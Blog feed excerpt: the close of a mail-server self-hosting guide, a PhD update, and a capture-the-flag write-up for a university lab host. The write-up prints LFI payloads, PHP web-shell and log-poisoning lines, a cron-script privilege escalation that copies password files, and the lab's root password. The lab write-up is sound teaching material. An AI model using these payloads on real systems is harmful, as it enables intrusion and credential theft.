story ends in tears, weird timeouts, or certificates that belong to the wrong plot.\nMail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.\nPTR records: the phonebook in reverse This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.\nNormal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.\nThose reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.\nSo you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.\nYou can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.\nSPF, DKIM, and DMARC: three different questions People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.\nSPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.\nDKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.\nDMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.\nOrder matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.\nTogether they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.\nBuilding the unglamorous core On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.\nThen came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.\nI briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.\nWhen opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.\nThe Matrix certificate heist (that wasn’t a heist) Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.\nNo attacker. No cosmic joke from Let’s Encrypt. Just nginx.\nWhen a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.\nLater I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.\nThe boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.\nFrom Linux users to real mailboxes The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.\nSo I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.\nWhy not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.\nOne setting decides whether this feels cursed or calm: mydestination.\nThat list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.\nPostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”\nOne more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.\nWebmail without losing the plot Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.\nI flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.\nThe calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”\nThe bounce emails that taught me about identity After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.\nThe fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.\nDeletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.\nAnd fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.\nWhat “done” means for me For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.\nWould I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”\nIf this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.\nLinks Portal: mail.alipourimjourneys.ir Webmail: webmail.alipourimjourneys.ir Admin: mailadmin.alipourimjourneys.ir Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM jSo2Yw//UtI5N8jeF\u0026#43;LTvsVHqDbTVyD\u0026#43;x6qiMgRGT4Kpn86V\u0026#43;6NaVjrs6h\u0026#43;kc5Xy TD9gzCfpwsyfSDBGQ2SHM\u0026#43;bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq HhcRfnS1ICk\u0026#43;hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq 4kgsu5qV7bhB2IyS6nYb\u0026#43;A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O 4BAMhpgk4baTz0\u0026#43;fSjWiKSokQhizXvB6vK21qu2O\u0026#43;5WbkyY/LLi0klLlF2UqhKnU HE3\u0026#43;dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx\u0026#43;Ec6\u0026#43;nHiwtLu O\u0026#43;8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM 0k4KDrEbfIvoowTRRXmNpHV\u0026#43;ttSYanjzTl3oQQZ\u0026#43;Y9H\u0026#43;g\u0026#43;uPrfh8oUvivrj\u0026#43;2ZOn iv9oMoW6Q3rB7V/2\u0026#43;jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20= =KCRU -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc gpg --verify self_hosting_mail.md.asc self_hosting_mail.md ","permalink":"https://blog.alipour.eu/posts/self_hosting_mail/","summary":"\u003cblockquote\u003e\n\u003cp\u003eIf you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do \u003cstrong\u003enot\u003c/strong\u003e assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eI wanted real email on my own machine — \u003ccode\u003email.alipourimjourneys.ir\u003c/code\u003e — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)\u003c/p\u003e","title":"Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)"},{"content":"Ok, it\u0026rsquo;s been so so so long! I haven\u0026rsquo;t been writing, once again, because I\u0026rsquo;ve been too busy with fixing my life. Let me summerize these past many months:\nI finished my coursework for my prep phase I was added to a colleagues project and we submited it to IMC I submitted a poster to TMA, and I will be present it at the end of this month (June) I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S\u0026amp;P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust. I am a tutor at data networks, and I think I\u0026rsquo;m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students. Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW\u0026#43;kwn4wPw3Zysg\u0026#43;a7ln R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle m/P\u0026#43;jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL\u0026#43;IYa3T1xKdCkiiPEsXAGQKfKrw BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd MGug0h1\u0026#43;d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd\u0026#43;p/PXbH765VzTnuzeMmIlRlm eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5 QEMPVoeGkte0CVM\u0026#43;C/PkK\u0026#43;QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2\u0026#43;t zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT\u0026#43;H2TUhZplgRpDXPlayUzPkZGvEcUr Mg03w3/uXCP8Q0ibQllSQioluUJ7l\u0026#43;oLaRZTly1tpZCCbWha11upK8ZKc03jMApM fQy/wpq\u0026#43;VFKZsB4clVAQoabPr\u0026#43;Q\u0026#43;JWAe0OOWcdrpp8FXlKfIkPc= =hIg9 -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/PhD_journey/june_2026.md curl -fSLO https://blog.alipour.eu/sources/PhD_journey/june_2026.md.asc gpg --verify june_2026.md.asc june_2026.md ","permalink":"https://blog.alipour.eu/phd_journey/june_2026/","summary":"\u003cp\u003eOk, it\u0026rsquo;s been so so so long! I haven\u0026rsquo;t been writing, once again, because I\u0026rsquo;ve been too busy with fixing my life.\nLet me summerize these past many months:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eI finished my coursework for my prep phase\u003c/li\u003e\n\u003cli\u003eI was added to a colleagues project and we submited it to IMC\u003c/li\u003e\n\u003cli\u003eI submitted a poster to TMA, and I will be present it at the end of this month (June)\u003c/li\u003e\n\u003cli\u003eI branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S\u0026amp;P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.\u003c/li\u003e\n\u003cli\u003eI am a tutor at data networks, and I think I\u0026rsquo;m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cdiv class=\"signature-block\" style=\"margin-top:1rem\"\u003e\n \u003cp\u003e\u003cstrong\u003eDownloads:\u003c/strong\u003e\n \u003ca href=\"/sources/PhD_journey/june_2026.md\"\u003eMarkdown\u003c/a\u003e ·\n \u003ca href=\"/sources/PhD_journey/june_2026.md.asc\"\u003eSignature (.asc)\u003c/a\u003e\n \u003c/p\u003e","title":"June 2026"},{"content":" Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I\u0026rsquo;ll wait. …No? Ok. Hello friends.\nThis post documents how I solved a CTF box that came out of Tobias Fiebig\u0026rsquo;s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who \u0026ldquo;just quickly fixes prod\u0026rdquo; and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.\nEach student group gets their own host (g00, g01, …). The goal is simple on paper:\nCollect every passwd_part file sitting in user home directories. Stitch them together into the root password (the full answer lives in /root/passwd). Simple. Boring. Except Klaus was clearly in charge of this VM.\n0) The lay of the land Target: g00.tuw.measurement.network\nFrom the outside you mostly see three faces of the same machine:\nHost What it is g00.tuw.measurement.network Main vhost — documentation.md, directory listing, a teasing passwd_part that returns 403 web.g00.tuw.measurement.network PHP \u0026ldquo;meme gallery\u0026rdquo; with a very trusting ?page= parameter pwreset.g00.tuw.measurement.network Internal password-reset app — not reachable directly from the internet Users on the box (from /etc/passwd via LFI): user1–user4, monitoring, www-data, root.\nSSH from outside? Public key only. Password auth is a lie (for us, anyway).\n1) Recon — documentation.md saves the day First stop: the main site.\ncurl -s https://g00.tuw.measurement.network/documentation.md That file is basically a treasure map. It mentions two services:\nweb → web.g00.tuw.measurement.network pwreset → pwreset.g00.tuw.measurement.network I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.\nSubdomains resolve. Good. Let\u0026rsquo;s go web.\n2) LFI — include($_GET['page']) classic The web vhost is a frameset. Content loads in a frame via ?page=:\ncurl -sk \u0026#39;https://web.g00.tuw.measurement.network/?page=/etc/passwd\u0026#39; And there it is — root, users, the whole /etc/passwd parade inside the frame.\nSource via PHP filter works too:\ncurl -sk \u0026#39;https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php\u0026#39; \\ | sed -n \u0026#39;s/.*frame name=\u0026#34;in\u0026#34;\u0026gt;//p\u0026#39; | base64 -d index.php is roughly:\n\u0026lt;?php $page = $_GET[\u0026#39;page\u0026#39;] ?? \u0026#39;home.php\u0026#39;; include($page); ?\u0026gt; Klaus, my man. We love you.\nFirst instinct: read all the passwd_part files immediately.\n# spoiler: doesn\u0026#39;t work curl -sk \u0026#39;https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part\u0026#39; # → permission denied Same for user2–user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.\n3) pwreset — localhost-only, but LFI doesn\u0026rsquo;t care about nginx Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:\nallow 127.0.0.1; deny all; So you can\u0026rsquo;t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that\u0026rsquo;s a local file include, not an HTTP request.\npwreset source (paraphrased):\n$user = $_GET[\u0026#39;user\u0026#39;] ?? \u0026#39;\u0026#39;; $pass = $_GET[\u0026#39;pass\u0026#39;] ?? \u0026#39;\u0026#39;; file_put_contents(\u0026#39;/var/www/userchange\u0026#39;, \u0026#34;$user:$pass\\n\u0026#34;); echo \u0026#34;Password reset queued.\u0026#34;; It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).\nTrigger it through LFI:\nhttps://web.g00.tuw.measurement.network/ ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php \u0026amp;user=user1 \u0026amp;pass=MyTestPass1! I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.\n4) RCE — PHP in userchange, included like a boss At some point I wondered: what if the thing that processes userchange doesn\u0026rsquo;t only run chpasswd? What if it includes the file as PHP?\nSo I wrote a tiny shell into the user field via pwreset:\n\u0026lt;?=`id`?\u0026gt; Then included /var/www/userchange through the LFI:\n?page=/var/www/userchange Output: uid=33(www-data) gid=33(www-data) ...\nShort tags (\u0026lt;?= ... ?\u0026gt;) for the win. A longer \u0026lt;?php system(...); ?\u0026gt; payload also works, but the backtick version is minimal and cute.\nFrom here on, my mental model was:\npwreset → write arbitrary-ish content to /var/www/userchange LFI include userchange → execute PHP as www-data That\u0026rsquo;s RCE. Not root yet, but we\u0026rsquo;ll get there. Klaus always leaves one more door open.\n5) Rabbit holes (aka \u0026ldquo;everything I tried before it worked\u0026rdquo;) This box is a presentation CTF. It wants you to wander. I wandered. Hard.\nnginx log poisoning The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.\nShort version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.\ndata://, php://input, expect:// ?page=data://text/plain,\u0026lt;?php system($_GET[cmd]); ?\u0026gt; ?page=php://input # with POST body ?page=expect://id Nope. allow_url_include = Off. Klaus isn\u0026rsquo;t that careless.\nvim .swp files .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.\nEmpty memes page. No execution. Nice red herring — very on-theme for the talk.\nMunin / apt_all plugin The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:\n/etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn\u0026rsquo;t exist Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …) Waited for cron cycles hoping a custom plugin would curl localhost pwreset Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.\npwreset log archaeology Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:\nSaw historical resets like user3 → foobar23 Tried foobar23 over SSH for every user From outside: still Permission denied (publickey). Password auth isn\u0026rsquo;t offered externally. TU Wien network / internal access might differ — I didn\u0026rsquo;t have that.\nShell script injection into userchange I tried newline injection to turn userchange into a bash script:\nuser= #!/bin/sh cp /home/user1/passwd_part /var/www/.../p1 ... Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.\nBrute-forcing the userchange consumer I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.\nEventually didn\u0026rsquo;t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren\u0026rsquo;t on the winning path.)\nDirect SSH password guessing Tried setting root\u0026rsquo;s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.\nFrom the internet: publickey only. The reset machinery may still work internally, but I couldn\u0026rsquo;t log in with passwords from outside.\n6) Privesc — world-writable cron script (peak Klaus) With RCE as www-data, I looked for writable files:\nfind / -writable -type f 2\u0026gt;/dev/null | head Jackpot:\n-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh Original script (innocent):\n#!/bin/bash grep 127.0.0.1 /etc/hosts \u0026gt; /home/user1/hostname_config It\u0026rsquo;s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef\u0026rsquo;s kiss.\nI appended:\ncp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1 cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2 cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3 cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4 cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p* Then either waited for cron or executed the script manually via RCE:\n\u0026lt;?=`/usr/local/bin/cron_update_hostname_file.sh`?\u0026gt; Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.\n7) SSH as www-data — because keys in the webroot are a mood The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.\n# via RCE: cat the key, save locally, chmod 600 ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \\ www-data@g00.tuw.measurement.network Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.\n8) The password parts Source File Part user1 p1 DcC6Da0A27384fA user2 p2 9Ce05B3cAd57824 user3 p3 3aD80fa1b7AE986 user4 p4 CDefabffab1FCCf www-data passwd_part 44D885d6DAb8Bb9 root rootpass ghadnuthduxeec7 Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root\u0026rsquo;s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.\nCombined root password (95 characters):\nDcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7 Order: user1 + user2 + user3 + user4 + www-data + root_suffix.\nI double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.\nRoot SSH with that password from outside still didn\u0026rsquo;t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.\n9) Attack chain (one screen) documentation.md → web vhost LFI (include $_GET[\u0026#39;page\u0026#39;]) → include pwreset index.php (localhost bypass) → write PHP to /var/www/userchange → LFI include userchange → RCE as www-data → append to world-writable cron_update_hostname_file.sh → cron runs as root → copies passwd parts to webroot → read parts / SSH as www-data → profit Very \u0026ldquo;real world\u0026rdquo; in the worst way. Multiple small mistakes compounding into a full chain.\n10) Replay script I left a minimal Python replay in the challenge repo:\npython3 solve.py Core logic:\ndef pwreset(user, passwd=\u0026#34;\u0026#34;): # LFI-include pwreset index.php with user/pass params def rce(cmd): pwreset(f\u0026#34;\u0026lt;?=`{cmd}`?\u0026gt;\u0026#34;, \u0026#34;\u0026#34;) return lfi_include(\u0026#34;/var/www/userchange\u0026#34;) It prints id, the modified cron script, each part file, and the combined password.\n11) Bonus: the intended log poisoning path After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂\nSo here\u0026rsquo;s the path you\u0026rsquo;re supposed to take for RCE, and how I accidentally took the scenic bypass.\nThe hint is in index.php, not documentation.md documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):\n\u0026lt;!-- remember for debugging: /var/log/nginx/$vhost.access.log /var/log/nginx/$vhost.error.log /var/log/nginx/ssl-$vhost.access.log /var/log/nginx/ssl-$vhost.error.log --\u0026gt; Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn\u0026rsquo;t say \u0026ldquo;don\u0026rsquo;t use SSL\u0026rdquo; — but the intended trick is to use the non-ssl access log.\nIntended technique Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:\n/var/log/nginx/web.g00.tuw.measurement.network.access.log Put PHP in the User-Agent (or another logged field):\n\u0026lt;?php passthru($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt; Short tags like \u0026lt;?=`id`?\u0026gt; work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.\nInclude that log through the same LFI bug:\nhttps://web.g00.tuw.measurement.network/ ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log \u0026amp;cmd=id On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That\u0026rsquo;s RCE. No pwreset required.\nHow I griefed myself What I did Why it hurt Defaulted to https:// everywhere Poison landed in ssl-web...access.log — 670 KB+ and growing Included the ssl log via LFI Output truncates around ~2 KB; poison sits at the tail Fired dozens of test payloads Left broken \u0026lt;?php in the HTTP log ($_GET[cmd] without quotes, \\x22, etc.) — PHP dies on the first bad tag before reaching a clean line Didn\u0026rsquo;t read index.php source early Missed the debug comment until I\u0026rsquo;d already polluted both logs Tobias\u0026rsquo;s take: that\u0026rsquo;s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.\nIf you\u0026rsquo;re solving it now Read index.php source first. Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload. Include the non-ssl access log path from the comment. Don\u0026rsquo;t spray malformed PHP into the log unless you enjoy debugging your own garbage. I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.\n12) TL;DR Read documentation.md — it tells you where the services live. Read index.php source — the debug comment gives you the log paths. Intended RCE = HTTP log poisoning → LFI include the non-ssl access log. What I did = pwreset → userchange → cron (also works, not the intended first step). Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root. Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP. Flag = concatenate all passwd_part slices + /root/passwd suffix. If you\u0026rsquo;re doing this as part of the TU Wien lab: don\u0026rsquo;t touch other groups\u0026rsquo; hosts, don\u0026rsquo;t break the infra, and maybe send Klaus a thank-you note for the cron job.\nHappy hacking. 🔓\nThanks to Tobias Fiebig for the delightfully cursed \u0026ldquo;real world\u0026rdquo; box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM jSr\u0026#43;7xAAjpbfTK8k\u0026#43;GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy\u0026#43;fTISF9Q\u0026#43;hRfMX 91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v\u0026#43;drZ2YVGk9mKW4FBfzbb1 iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03 35YFa3A1GMUiKAHcemIqJnDZuIInQa\u0026#43;OuPIDPGQva93I20eIn40nIVDLDsY15X\u0026#43;R FyxKVBAwO94We2g\u0026#43;lxhey\u0026#43;xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT oLsZXNoKbyZ2eXYF0f54it9JdDo\u0026#43;obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV\u0026#43; zNn5DrhIk5f4FMjJGUnO1QH\u0026#43;e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b\u0026#43; //J/Fdzi1YbKFyQlk9zfUUL\u0026#43;1vMoSbkORd7S3JYkibTns\u0026#43;uD9LxW27WIEcvYRw0K 